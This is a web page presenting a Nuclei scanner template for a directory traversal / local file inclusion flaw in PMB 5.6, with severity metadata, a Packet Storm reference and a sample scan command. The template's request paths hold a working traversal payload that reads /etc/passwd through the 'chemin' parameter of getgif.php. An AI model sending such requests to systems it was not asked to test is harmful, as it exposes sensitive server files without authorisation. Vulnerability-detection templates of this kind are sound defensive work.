Skip to content

PMB 5.6 - Local File Inclusion

ID: pmb-directory-traversal

Severity: high

Author: geeknik

Tags: lfi,packetstorm

PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the ‘chemin’ parameter.

id: pmb-directory-traversal
info:
name: PMB 5.6 - Local File Inclusion
author: geeknik
severity: high
description: PMB 5.6 is vulnerable to local file inclusion because the PMB Gif Image is not sanitizing the content of the 'chemin' parameter.
reference:
- https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 2
tags: lfi,packetstorm
http:
- method: GET
path:
- "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
- "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022046804d20f8af3defe2091f4b00b2006ad2c988027d03a61aa39883c0fe6ea001022004218d7f66231f4a94ae37fb93386d24bb147218cd2d327ed3bd402849b35d76:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/pmb-directory-traversal.yaml"

View on Github